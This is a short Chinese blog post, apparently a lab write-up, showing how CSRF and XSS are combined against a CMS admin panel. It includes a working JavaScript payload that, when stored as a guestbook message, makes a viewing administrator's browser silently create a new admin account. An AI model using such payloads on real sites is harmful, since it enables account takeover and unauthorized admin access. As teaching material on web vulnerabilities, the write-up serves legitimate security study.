CSRF与XSS结合利用

EMT00923

已于 2023-08-28 21:02:02 修改

阅读量474

点赞数 1

分类专栏：网络安全文章标签： csrf xss 前端

于 2023-08-28 20:51:40 首次发布

本文链接：https://blog.csdn.net/m0_56578216/article/details/132548128

版权

网络安全专栏收录该内容

101 篇文章 2 订阅 ¥29.90 ¥99.00

订阅专栏

超级会员免费看

本文详细阐述了一次利用CSRF和XSS结合进行攻击的实例。首先通过登录CMS后台创建新账户，接着捕获POST请求修改管理员密码。然后构造含有恶意JS代码的XSS留言，当管理员查看留言时触发攻击，导致EMT用户密码被修改，成功实现非法登录。

摘要由CSDN通过智能技术生成

文章目录

修改cms网站后台管理员密码
成功登录
总结

修改cms网站后台管理员密码

CSRF和XSS结合的JS代码：

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.130/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=ajest&password=123.com&password2=123.com&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

登录cms管理员后台，创建一个新账户：

在这里插入图片描述